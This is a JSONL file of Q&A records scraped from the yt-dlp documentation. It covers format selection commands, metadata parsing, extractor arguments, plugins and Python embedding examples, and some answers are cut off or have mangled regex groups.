{"id": "gh_dd4814d698f8", "question": "How to: or the worst video if there is no video under 480p", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"bv*[height<=480]+ba/b[height<=480] / wv*+ba/w\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418208"}
{"id": "gh_aae0863f1e0b", "question": "How to: or the best video available via any protocol if there is no such video", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"(bv*+ba/b)[protocol^=http][protocol!*=dash] / (bv*+ba/b)\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418216"}
{"id": "gh_36478692a0ce", "question": "How to: or the best video if there is no such video", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"(bv*[vcodec~='^((he|a)vc|h26[45])']+ba) / (bv*+ba/b)\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418221"}
{"id": "gh_ef56fbc830b0", "question": "How to: or the worst video (still preferring framerate greater than 30) if there is no such video", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp -f \"((bv*[fps>30]/bv*)[height<=720]/(wv*[fps>30]/wv*)) + ba / (b[fps>30]/b)[height<=720]/(w[fps>30]/w)\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418227"}
{"id": "gh_2d2795f049f2", "question": "How to: MODIFYING METADATA", "question_body": "About yt-dlp/yt-dlp", "answer": "The metadata obtained by the extractors can be modified by using `--parse-metadata` and `--replace-in-metadata`\n\n`--replace-in-metadata FIELDS REGEX REPLACE` is used to replace text in any metadata field using [Python regular expression](https://docs.python.org/3/library/re.html#regular-expression-syntax). [Backreferences](https://docs.python.org/3/library/re.html?highlight=backreferences#re.sub) can be used in the replace string for advanced use.\n\nThe general syntax of `--parse-metadata FROM:TO` is to give the name of a field or an [output template](#output-template) to extract data from, and the format to interpret it as, separated by a colon `:`. Either a [Python regular expression](https://docs.python.org/3/library/re.html#regular-expression-syntax) with named capture groups, a single field name, or a similar syntax to the [output template](#output-template) (only `%(field)s` formatting is supported) can be used for `TO`. The option can be used multiple times to parse and modify various fields.\n\nNote that these options preserve their relative order, allowing replacements to be made in parsed fields and vice versa. Also, any field thus created can be used in the [output template](#output-template) and will also affect the media file's metadata added when using `--embed-metadata`.\n\nThis option also has a few special uses:\n\n* You can download an additional URL based on the metadata of the currently downloaded video. To do this, set the field `additional_urls` to the URL that you want to download. E.g. `--parse-metadata \"description:(?P\nhttps?://www\\.vimeo\\.com/\\d+)\"` will download the first vimeo video found in the description\n\n* You can use this to change the metadata that is embedded in the media file. To do this, set the value of the corresponding field with a `meta_` prefix. For example, any value you set to `meta_description` field will be added to the `description` field in the file - you can use this to set a different \"description\" and \"synopsis\". To modify the metadata of individual streams, use the `meta\n_` prefix (e.g. `meta1_language`). Any value set to the `meta_` field will overwrite all default values.\n\n**Note**: Metadata modification happens before format selection, post-extraction and other post-processing operations. Some fields may be added or changed during these steps, overriding your changes.\n\nFor reference, these are the fields yt-dlp adds by default to the file metadata:\n\nMetadata fields            | From\n:--------------------------|:------------------------------------------------\n`title`                    | `track` or `title`\n`date`                     | `upload_date`\n`description`,  `synopsis` | `description`\n`purl`, `comment`          | `webpage_url`\n`track`                    | `track_number`\n`artist`                   | `artist`, `artists`, `creator`, `creators`, `uploader` or `uploader_id`\n`composer`                 | `composer` or `composers`\n`genre`                    | `genre`, `genres`, `categories` or `tags`\n`album`                    | `album` or `series`\n`album_artist`             | `album_artist` or `album_artists`\n`disc`                     | `disc_number`\n`show`                     | `series`\n`season_number`            | `season_number`\n`episode_id`               | `episode` or `episode_id`\n`episode_sort`             | `episode_number`\n`language` of each stream  | the format's `language`\n\n**Note**: The file format may not support some of these fields", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418240"}
{"id": "gh_027d1f8b25c2", "question": "How to: Interpret the title as \"Artist - Title\"", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --parse-metadata \"title:%(artist)s - %(title)s\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418245"}
{"id": "gh_f4930008b8cd", "question": "How to: Regex example", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --parse-metadata \"description:Artist - (?P\n.+)\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418249"}
{"id": "gh_f59fd7d2117b", "question": "How to: Set title as \"Series name S01E05\"", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --parse-metadata \"%(series)s S%(season_number)02dE%(episode_number)02d:%(title)s\"", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418254"}
{"id": "gh_a9268393906d", "question": "How to: Prioritize uploader as the \"artist\" field in video metadata", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --parse-metadata \"%(uploader|)s:%(meta_artist)s\" --embed-metadata", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418258"}
{"id": "gh_f6ea0c64ffdd", "question": "How to: handling multiple lines correctly", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --parse-metadata \"description:(?s)(?P\n.+)\" --embed-metadata", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418262"}
{"id": "gh_fcc0e57d492e", "question": "How to: Remove \"formats\" field from the infojson by setting it to an empty string", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --parse-metadata \"video::(?P\n)\" --write-info-json", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418266"}
{"id": "gh_6500e7fca55f", "question": "How to: Replace all spaces and \"_\" in title and uploader with a `-`", "question_body": "About yt-dlp/yt-dlp", "answer": "$ yt-dlp --replace-in-metadata \"title,uploader\" \"[ _]\" \"-\"\n\n```", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418270"}
{"id": "gh_a6643cb0dd06", "question": "How to: EXTRACTOR ARGUMENTS", "question_body": "About yt-dlp/yt-dlp", "answer": "Some extractors accept additional arguments which can be passed using `--extractor-args KEY:ARGS`. `ARGS` is a `;` (semicolon) separated string of `ARG=VAL1,VAL2`. E.g. `--extractor-args \"youtube:player-client=tv,mweb;formats=incomplete\" --extractor-args \"twitter:api=syndication\"`\n\nNote: In CLI, `ARG` can use `-` instead of `_`; e.g. `youtube:player-client\"` becomes `youtube:player_client\"`\n\nThe following extractors use this feature:\n\n#### youtube\n* `lang`: Prefer translated metadata (`title`, `description` etc) of this language code (case-sensitive). By default, the video primary language metadata is preferred, with a fallback to `en` translated. See [youtube/_base.py](https://github.com/yt-dlp/yt-dlp/blob/415b4c9f955b1a0391204bd24a7132590e7b3bdb/yt_dlp/extractor/youtube/_base.py#L402-L409) for the list of supported content language codes\n* `skip`: One or more of `hls`, `dash` or `translated_subs` to skip extraction of the m3u8 manifests, dash manifests and [auto-translated subtitles](https://github.com/yt-dlp/yt-dlp/issues/4090#issuecomment-1158102032) respectively\n* `player_client`: Clients to extract video data from. The currently available clients are `web`, `web_safari`, `web_embedded`, `web_music`, `web_creator`, `mweb`, `ios`, `android`, `android_sdkless`, `android_vr`, `tv`, `tv_simply`, `tv_downgraded`, and `tv_embedded`. By default, `tv,android_sdkless,web` is used. If no JavaScript runtime/engine is available, then `android_sdkless,web_safari,web` is used. If logged-in cookies are passed to yt-dlp, then `tv_downgraded,web_safari,web` is used for free accounts and `tv_downgraded,web_creator,web` is used for premium accounts. The `web_music` client is added for `music.youtube.com` URLs when logged-in cookies are used. The `web_embedded` client is added for age-restricted videos but only works if the video is embeddable. The `tv_embedded` and `web_creator` clients are added for age-restricted videos if account age-verification is required. Some clients, such as `web` and `web_music`, require a `po_token` for their formats to be downloadable. Some clients, such as `web_creator`, will only work with authentication. Not all clients support authentication via cookies. You can use `default` for the default clients, or you can use `all` for all clients (not recommended). You can prefix a client with `-` to exclude it, e.g. `youtube:player_client=default,-ios`\n* `player_skip`: Skip some network requests that are generally needed for robust extraction. One or more of `configs` (skip client configs), `webpage` (skip initial webpage), `js` (skip js player), `initial_data` (skip initial data/next ep request). While these options can help reduce the number of requests needed or avoid some rate-limiting, they could cause issues such as missing formats or metadata.  See [#860](https://github.com/yt-dlp/yt-dlp/pull/860) and [#12826](https://github.com/yt-dlp/yt-dlp/issues/12826) for more details\n* `webpage_skip`: Skip extraction of embedded webpage data. One or both of `player_response`, `initial_data`. These options are for testing purposes and don't skip any network requests\n* `player_params`: YouTube player parameters to use for player requests. Will overwrite any default ones set by yt-dlp.\n* `player_js_variant`: The player javascript variant to use for n/sig deciphering. The known variants are: `main`, `tcc`, `tce`, `es5`, `es6`, `tv`, `tv_es6`, `phone`, `tablet`. The default is `main`, and the others are for debugging purposes. You can use `actual` to go with what is prescribed by the site\n* `player_js_version`: The player javascript version to use for n/sig deciphering, in the format of `signature_timestamp@hash` (e.g. `20348@0004de42`). The default is to use what is prescribed by the site, and can be selected with `actual`\n* `comment_sort`: `top` or `new` (default) - choose comment sorting mode (on YouTube's side)\n* `max_comments`: Limit the amount of comments to gather. Comma-separated list of integers representing `max-comments,max-parents,max-replies,max-replies-per-thread,max-depth`. Default is `all,all,all,all,all`\n    * A `max-depth` value of `1` will discard all replies, regardless of the `max-replies` or `max-replies-per-thread` values given\n    * E.g. `all,all,1000,10,2` will get a maximum of 1000 replies total, with up to 10 replies per thread, and only 2 levels of depth (i.e. top-level comments plus their immediate replies). `1000,all,100` will get a maximum of 1000 comments, with a maximum of 100 replies total\n* `formats`: Change the types of formats to return. `dashy` (convert HTTP to DASH), `duplicate` (identical content but different URLs or protocol; includes `dashy`), `incomplete` (cannot be downloaded completely - live dash and post-live m3u8), `missing_pot` (include formats that require a PO Token but are missing one)\n* `innertube_host`: Innertube API host to use for all API requests; e.g. `studio.youtube.com`, `youtubei.googleapis.com`. Note that cookies exported from one subdomain wil", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418315"}
{"id": "gh_84edf6115e73", "question": "How to: Installing Plugins", "question_body": "About yt-dlp/yt-dlp", "answer": "Plugins can be installed using various methods and locations.\n\n1. **Configuration directories**:\n   Plugin packages (containing a `yt_dlp_plugins` namespace folder) can be dropped into the following standard [configuration locations](#configuration):\n    * **User Plugins**\n      * `${XDG_CONFIG_HOME}/yt-dlp/plugins/\n/yt_dlp_plugins/` (recommended on Linux/macOS)\n      * `${XDG_CONFIG_HOME}/yt-dlp-plugins/\n/yt_dlp_plugins/`\n      * `${APPDATA}/yt-dlp/plugins/\n/yt_dlp_plugins/` (recommended on Windows)\n      * `${APPDATA}/yt-dlp-plugins/\n/yt_dlp_plugins/`\n      * `~/.yt-dlp/plugins/\n/yt_dlp_plugins/`\n      * `~/yt-dlp-plugins/\n/yt_dlp_plugins/`\n    * **System Plugins**\n      * `/etc/yt-dlp/plugins/\n/yt_dlp_plugins/`\n      * `/etc/yt-dlp-plugins/\n/yt_dlp_plugins/`\n2. **Executable location**: Plugin packages can similarly be installed in a `yt-dlp-plugins` directory under the executable location (recommended for portable installations):\n    * Binary: where `\n/yt-dlp.exe`, `\n/yt-dlp-plugins/\n/yt_dlp_plugins/`\n    * Source: where `\n/yt_dlp/__main__.py`, `\n/yt-dlp-plugins/\n/yt_dlp_plugins/`\n\n3. **pip and other locations in `PYTHONPATH`**\n    * Plugin packages can be installed and managed using `pip`. See [yt-dlp-sample-plugins](https://github.com/yt-dlp/yt-dlp-sample-plugins) for an example.\n      * Note: plugin files between plugin packages installed with pip must have unique filenames.\n    * Any path in `PYTHONPATH` is searched in for the `yt_dlp_plugins` namespace folder.\n      * Note: This does not apply for Pyinstaller builds.\n\n`.zip`, `.egg` and `.whl` archives containing a `yt_dlp_plugins` namespace folder in their root are also supported as plugin packages.\n\n* e.g. `${XDG_CONFIG_HOME}/yt-dlp/plugins/mypluginpkg.zip` where `mypluginpkg.zip` contains `yt_dlp_plugins/\n/myplugin.py`\n\nRun yt-dlp with `--verbose` to check if the plugin has been loaded.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418332"}
{"id": "gh_2985bd0e34fb", "question": "How to: Developing Plugins", "question_body": "About yt-dlp/yt-dlp", "answer": "See the [yt-dlp-sample-plugins](https://github.com/yt-dlp/yt-dlp-sample-plugins) repo for a template plugin package and the [Plugin Development](https://github.com/yt-dlp/yt-dlp/wiki/Plugin-Development) section of the wiki for a plugin development guide.\n\nAll public classes with a name ending in `IE`/`PP` are imported from each file for extractors and postprocessors respectively. This respects underscore prefix (e.g. `_MyBasePluginIE` is private) and `__all__`. Modules can similarly be excluded by prefixing the module name with an underscore (e.g. `_myplugin.py`).\n\nTo replace an existing extractor with a subclass of one, set the `plugin_name` class keyword argument (e.g. `class MyPluginIE(ABuiltInIE, plugin_name='myplugin')` will replace `ABuiltInIE` with `MyPluginIE`). Since the extractor replaces the parent, you should exclude the subclass extractor from being imported separately by making it private using one of the methods described above.\n\nIf you are a plugin author, add [yt-dlp-plugins](https://github.com/topics/yt-dlp-plugins) as a topic to your repository for discoverability.\n\nSee the [Developer Instructions](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) on how to write and test an extractor.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418338"}
{"id": "gh_da009bac2800", "question": "How to: EMBEDDING YT-DLP", "question_body": "About yt-dlp/yt-dlp", "answer": "yt-dlp makes the best effort to be a good command-line program, and thus should be callable from any programming language.\n\nYour program should avoid parsing the normal stdout since they may change in future versions. Instead, they should use options such as `-J`, `--print`, `--progress-template`, `--exec` etc to create console output that you can reliably reproduce and parse.\n\nFrom a Python program, you can embed yt-dlp in a more powerful fashion, like this:\n\n```python\nfrom yt_dlp import YoutubeDL\n\nURLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']\nwith YoutubeDL() as ydl:\n    ydl.download(URLS)\n```\n\nMost likely, you'll want to use various options. For a list of options available, have a look at [`yt_dlp/YoutubeDL.py`](yt_dlp/YoutubeDL.py#L183) or `help(yt_dlp.YoutubeDL)` in a Python shell. If you are already familiar with the CLI, you can use [`devscripts/cli_to_api.py`](https://github.com/yt-dlp/yt-dlp/blob/master/devscripts/cli_to_api.py) to translate any CLI switches to `YoutubeDL` params.\n\n**Tip**: If you are porting your code from youtube-dl to yt-dlp, one important point to look out for is that we do not guarantee the return value of `YoutubeDL.extract_info` to be json serializable, or even be a dictionary. It will be dictionary-like, but if you want to ensure it is a serializable dictionary, pass it through `YoutubeDL.sanitize_info` as shown in the [example below](#extracting-information)", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418344"}
{"id": "gh_735c1d90b082", "question": "How to: Embedding examples", "question_body": "About yt-dlp/yt-dlp", "answer": "#### Extracting information\n\n```python\nimport json\nimport yt_dlp\n\nURL = 'https://www.youtube.com/watch?v=BaW_jenozKc'", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418348"}
{"id": "gh_e36f179c65a7", "question": "How to: ℹ️ See help(yt_dlp.YoutubeDL) for a list of available options and public functions", "question_body": "About yt-dlp/yt-dlp", "answer": "ydl_opts = {}\nwith yt_dlp.YoutubeDL(ydl_opts) as ydl:\n    info = ydl.extract_info(URL, download=False)\n\n    # ℹ️ ydl.sanitize_info makes the info json-serializable\n    print(json.dumps(ydl.sanitize_info(info)))\n```\n#### Download using an info-json\n\n```python\nimport yt_dlp\n\nINFO_FILE = 'path/to/video.info.json'\n\nwith yt_dlp.YoutubeDL() as ydl:\n    error_code = ydl.download_with_info_file(INFO_FILE)\n\nprint('Some videos failed to download' if error_code\n      else 'All videos successfully downloaded')\n```\n\n#### Extract audio\n\n```python\nimport yt_dlp\n\nURLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']\n\nydl_opts = {\n    'format': 'm4a/bestaudio/best',\n    # ℹ️ See help(yt_dlp.postprocessor) for a list of available Postprocessors and their arguments\n    'postprocessors': [{  # Extract audio using ffmpeg\n        'key': 'FFmpegExtractAudio',\n        'preferredcodec': 'm4a',\n    }]\n}\n\nwith yt_dlp.YoutubeDL(ydl_opts) as ydl:\n    error_code = ydl.download(URLS)\n```\n\n#### Filter videos\n\n```python\nimport yt_dlp\n\nURLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']\n\ndef longer_than_a_minute(info, *, incomplete):\n    \"\"\"Download only videos longer than a minute (or with unknown duration)\"\"\"\n    duration = info.get('duration')\n    if duration and duration < 60:\n        return 'The video is too short'\n\nydl_opts = {\n    'match_filter': longer_than_a_minute,\n}\n\nwith yt_dlp.YoutubeDL(ydl_opts) as ydl:\n    error_code = ydl.download(URLS)\n```\n\n#### Adding logger and progress hook\n\n```python\nimport yt_dlp\n\nURLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']\n\nclass MyLogger:\n    def debug(self, msg):\n        # For compatibility with youtube-dl, both debug and info are passed into debug\n        # You can distinguish them by the prefix '[debug] '\n        if msg.startswith('[debug] '):\n            pass\n        else:\n            self.info(msg)\n\n    def info(self, msg):\n        pass\n\n    def warning(self, msg):\n        pass\n\n    def error(self, msg):\n        print(msg)", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418362"}
{"id": "gh_3ab02175ef41", "question": "How to: ℹ️ See \"progress_hooks\" in help(yt_dlp.YoutubeDL)", "question_body": "About yt-dlp/yt-dlp", "answer": "def my_hook(d):\n    if d['status'] == 'finished':\n        print('Done downloading, now post-processing ...')\n\nydl_opts = {\n    'logger': MyLogger(),\n    'progress_hooks': [my_hook],\n}\n\nwith yt_dlp.YoutubeDL(ydl_opts) as ydl:\n    ydl.download(URLS)\n```\n\n#### Add a custom PostProcessor\n\n```python\nimport yt_dlp\n\nURLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418377"}
{"id": "gh_b33acca116fc", "question": "How to: ℹ️ See help(yt_dlp.postprocessor.PostProcessor)", "question_body": "About yt-dlp/yt-dlp", "answer": "class MyCustomPP(yt_dlp.postprocessor.PostProcessor):\n    def run(self, info):\n        self.to_screen('Doing stuff')\n        return [], info\n\nwith yt_dlp.YoutubeDL() as ydl:\n    # ℹ️ \"when\" can take any value in yt_dlp.utils.POSTPROCESS_WHEN\n    ydl.add_post_processor(MyCustomPP(), when='pre_process')\n    ydl.download(URLS)\n```\n\n#### Use a custom format selector\n\n```python\nimport yt_dlp\n\nURLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']\n\ndef format_selector(ctx):\n    \"\"\" Select the best video and the best audio that won't result in an mkv.\n    NOTE: This is just an example and does not handle all cases \"\"\"\n\n    # formats are already sorted worst to best\n    formats = ctx.get('formats')[::-1]\n\n    # acodec='none' means there is no audio\n    best_video = next(f for f in formats\n                      if f['vcodec'] != 'none' and f['acodec'] == 'none')\n\n    # find compatible audio extension\n    audio_ext = {'mp4': 'm4a', 'webm': 'webm'}[best_video['ext']]\n    # vcodec='none' means there is no video\n    best_audio = next(f for f in formats if (\n        f['acodec'] != 'none' and f['vcodec'] == 'none' and f['ext'] == audio_ext))\n\n    # These are the minimum required fields for a merged format\n    yield {\n        'format_id': f'{best_video[\"format_id\"]}+{best_audio[\"format_id\"]}',\n        'ext': best_video['ext'],\n        'requested_formats': [best_video, best_audio],\n        # Must be + separated list of protocols\n        'protocol': f'{best_video[\"protocol\"]}+{best_audio[\"protocol\"]}'\n    }\n\nydl_opts = {\n    'format': format_selector,\n}\n\nwith yt_dlp.YoutubeDL(ydl_opts) as ydl:\n    ydl.download(URLS)\n```", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418388"}
{"id": "gh_938f39dfde9d", "question": "How to: New features", "question_body": "About yt-dlp/yt-dlp", "answer": "* Forked from [**yt-dlc@f9401f2**](https://github.com/blackjack4494/yt-dlc/commit/f9401f2a91987068139c5f757b12fc711d4c0cee) and merged with [**youtube-dl@a08f2b7**](https://github.com/ytdl-org/youtube-dl/commit/a08f2b7e4567cdc50c0614ee0a4ffdff49b8b6e6) ([exceptions](https://github.com/yt-dlp/yt-dlp/issues/21))\n\n* **[SponsorBlock Integration](#sponsorblock-options)**: You can mark/remove sponsor sections in YouTube videos by utilizing the [SponsorBlock](https://sponsor.ajay.app) API\n\n* **[Format Sorting](#sorting-formats)**: The default format sorting options have been changed so that higher resolution and better codecs will be now preferred instead of simply using larger bitrate. Furthermore, you can now specify the sort order using `-S`. This allows for much easier format selection than what is possible by simply using `--format` ([examples](#format-selection-examples))\n\n* **Merged with animelover1984/youtube-dl**: You get most of the features and improvements from [animelover1984/youtube-dl](https://github.com/animelover1984/youtube-dl) including `--write-comments`, `BiliBiliSearch`, `BilibiliChannel`, Embedding thumbnail in mp4/ogg/opus, playlist infojson etc. See [#31](https://github.com/yt-dlp/yt-dlp/pull/31) for details.\n\n* **YouTube improvements**:\n    * Supports Clips, Stories (`ytstories:\n`), Search (including filters)**\\***, YouTube Music Search, Channel-specific search, Search prefixes (`ytsearch:`, `ytsearchdate:`)**\\***, Mixes, and Feeds (`:ytfav`, `:ytwatchlater`, `:ytsubs`, `:ythistory`, `:ytrec`, `:ytnotif`)\n    * Fix for [n-sig based throttling](https://github.com/ytdl-org/youtube-dl/issues/29326) **\\***\n    * Download livestreams from the start using `--live-from-start` (*experimental*)\n    * Channel URLs download all uploads of the channel, including shorts and live\n\n* **Cookies from browser**: Cookies can be automatically extracted from all major web browsers using `--cookies-from-browser BROWSER[+KEYRING][:PROFILE][::CONTAINER]`\n\n* **Download time range**: Videos can be downloaded partially based on either timestamps or chapters using `--download-sections`\n\n* **Split video by chapters**: Videos can be split into multiple files based on chapters using `--split-chapters`\n\n* **Multi-threaded fragment downloads**: Download multiple fragments of m3u8/mpd videos in parallel. Use `--concurrent-fragments` (`-N`) option to set the number of threads used\n\n* **Aria2c with HLS/DASH**: You can use `aria2c` as the external downloader for DASH(mpd) and HLS(m3u8) formats\n\n* **New and fixed extractors**: Many new extractors have been added and a lot of existing ones have been fixed. See the [changelog](Changelog.md) or the [list of supported sites](supportedsites.md)\n\n* **New MSOs**: Philo, Spectrum, SlingTV, Cablevision, RCN etc.\n\n* **Subtitle extraction from manifests**: Subtitles can be extracted from streaming media manifests. See [commit/be6202f](https://github.com/yt-dlp/yt-dlp/commit/be6202f12b97858b9d716e608394b51065d0419f) for details\n\n* **Multiple paths and output templates**: You can give different [output templates](#output-template) and download paths for different types of files. You can also set a temporary path where intermediary files are downloaded to using `--paths` (`-P`)\n\n* **Portable Configuration**: Configuration files are automatically loaded from the home and root directories. See [CONFIGURATION](#configuration) for details\n\n* **Output template improvements**: Output templates can now have date-time formatting, numeric offsets, object traversal etc. See [output template](#output-template) for details. Even more advanced operations can also be done with the help of `--parse-metadata` and `--replace-in-metadata`\n\n* **Other new options**: Many new options have been added such as `--alias`, `--print`, `--concat-playlist`, `--wait-for-video`, `--retry-sleep`, `--sleep-requests`, `--convert-thumbnails`, `--force-download-archive`, `--force-overwrites`, `--break-match-filters` etc\n\n* **Improvements**: Regex and other operators in `--format`/`--match-filters`, multiple `--postprocessor-args` and `--downloader-args`, faster archive checking, more [format selection options](#format-selection), merge multi-video/audio, multiple `--config-locations`, `--exec` at different stages, etc\n\n* **Plugins**: Extractors and PostProcessors can be loaded from an external file. See [plugins](#plugins) for details\n\n* **Self updater**: The releases can be updated using `yt-dlp -U`, and downgraded using `--update-to` if required\n\n* **Automated builds**: [Nightly/master builds](#update-channels) can be used with `--update-to nightly` and `--update-to master`\n\nSee [changelog](Changelog.md) or [commits](https://github.com/yt-dlp/yt-dlp/commits) for the full list of changes\n\nFeatures marked with a **\\*** have been back-ported to youtube-dl", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418401"}
{"id": "gh_ec35fabd27ed", "question": "How to: Differences in default behavior", "question_body": "About yt-dlp/yt-dlp", "answer": "Some of yt-dlp's default options are different from that of youtube-dl and youtube-dlc:\n\n* yt-dlp supports only [Python 3.10+](## \"Windows 8\"), and will remove support for more versions as they [become EOL](https://devguide.python.org/versions/#python-release-cycle); while [youtube-dl still supports Python 2.6+ and 3.2+](https://github.com/ytdl-org/youtube-dl/issues/30568#issue-1118238743)\n* The options `--auto-number` (`-A`), `--title` (`-t`) and `--literal` (`-l`), no longer work. See [removed options](#Removed) for details\n* `avconv` is not supported as an alternative to `ffmpeg`\n* yt-dlp stores config files in slightly different locations to youtube-dl. See [CONFIGURATION](#configuration) for a list of correct locations\n* The default [output template](#output-template) is `%(title)s [%(id)s].%(ext)s`. There is no real reason for this change. This was changed before yt-dlp was ever made public and now there are no plans to change it back to `%(title)s-%(id)s.%(ext)s`. Instead, you may use `--compat-options filename`\n* The default [format sorting](#sorting-formats) is different from youtube-dl and prefers higher resolution and better codecs rather than higher bitrates. You can use the `--format-sort` option to change this to any order you prefer, or use `--compat-options format-sort` to use youtube-dl's sorting order. Older versions of yt-dlp preferred VP9 due to its broader compatibility; you can use `--compat-options prefer-vp9-sort` to revert to that format sorting preference. These two compat options cannot be used together\n* The default format selector is `bv*+ba/b`. This means that if a combined video + audio format that is better than the best video-only format is found, the former will be preferred. Use `-f bv+ba/b` or `--compat-options format-spec` to revert this\n* Unlike youtube-dlc, yt-dlp does not allow merging multiple audio/video streams into one file by default (since this conflicts with the use of `-f bv*+ba`). If needed, this feature must be enabled using `--audio-multistreams` and `--video-multistreams`. You can also use `--compat-options multistreams` to enable both\n* `--no-abort-on-error` is enabled by default. Use `--abort-on-error` or `--compat-options abort-on-error` to abort on errors instead\n* When writing metadata files such as thumbnails, description or infojson, the same information (if available) is also written for playlists. Use `--no-write-playlist-metafiles` or `--compat-options no-playlist-metafiles` to not write these files\n* `--add-metadata` attaches the `infojson` to `mkv` files in addition to writing the metadata when used with `--write-info-json`. Use `--no-embed-info-json` or `--compat-options no-attach-info-json` to revert this\n* Some metadata are embedded into different fields when using `--add-metadata` as compared to youtube-dl. Most notably, `comment` field contains the `webpage_url` and `synopsis` 